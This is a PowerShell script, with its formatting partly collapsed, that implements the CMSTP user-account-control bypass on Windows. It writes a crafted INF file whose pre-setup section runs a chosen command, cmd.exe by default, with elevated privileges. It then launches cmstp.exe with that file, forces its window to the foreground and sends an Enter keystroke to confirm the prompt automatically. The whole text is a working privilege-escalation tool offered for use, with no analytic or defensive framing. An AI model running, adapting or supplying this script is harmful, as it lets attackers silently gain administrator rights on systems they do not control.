Function script:Set-INFFile {[CmdletBinding()]Param (\t[Parameter(HelpMessage=\"Specify the INF file location\")]$InfFileLocation = \"$env:temp\\CMSTP.inf\",
\t[Parameter(HelpMessage=\"Specify the command to launch in a UAC-privileged window\")]\t[String]$CommandToExecute = 'C:\\Windows\\System32\\cmd.exe'\t)
$InfContent = @\"[version]Signature=`$chicago`$AdvancedINF=2.5[DefaultInstall]CustomDestination=CustInstDestSectionAllUsersRunPreSetupCommands=RunPreSetupCommandsSection[RunPreSetupCommandsSection]; Commands Here will be run Before Setup Begins to install$CommandToExecutetaskkill /IM cmstp.exe /F[CustInstDestSectionAllUsers]49000,49001=AllUSer_LDIDSection, 7[AllUSer_LDIDSection]\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"[Strings]ServiceName=\"CorpVPN\"ShortSvcName=\"CorpVPN\"\"@
$InfContent | Out-File $InfFileLocation -Encoding ASCII}

Function Get-Hwnd{  [CmdletBinding()]
  Param  (    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName  )  Process    {        $ErrorActionPreference = 'Stop'        Try         {            $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle        }        Catch         {            $hwnd = $null        }        $hash = @{        ProcessName = $ProcessName        Hwnd        = $hwnd        }
    New-Object -TypeName PsObject -Property $hash    }}
function Set-WindowActive{  [CmdletBinding()]
  Param  (    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name  )
  Process  {    $memberDefinition = @'    [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);    [DllImport(\"user32.dll\", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);'@
    Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32    $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd    If ($hwnd)     {      $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)      [User32.Api]::SetForegroundWindow($hwnd)      [User32.Api]::ShowWindow($hwnd, 5)    }    Else     {      [string] $hwnd = 'N/A'    }
    $hash = @{      Process = $Name      Hwnd    = $hwnd    }
    New-Object -TypeName PsObject -Property $hash  }}
. Set-INFFile#Needs Windows formsadd-type -AssemblyName System.Windows.FormsIf (Test-Path $InfFileLocation) {#Command to run$ps = new-object system.diagnostics.processstartinfo \"c:\\windows\\system32\\cmstp.exe\"$ps.Arguments = \"/au $InfFileLocation\"$ps.UseShellExecute = $false
#Start it[system.diagnostics.process]::Start($ps)
do{# Do nothing until cmstp is an active window}until ((Set-WindowActive cmstp).Hwnd -ne 0)

#Activate windowSet-WindowActive cmstp
#Send the Enter key[System.Windows.Forms.SendKeys]::SendWait(\"{ENTER}\")}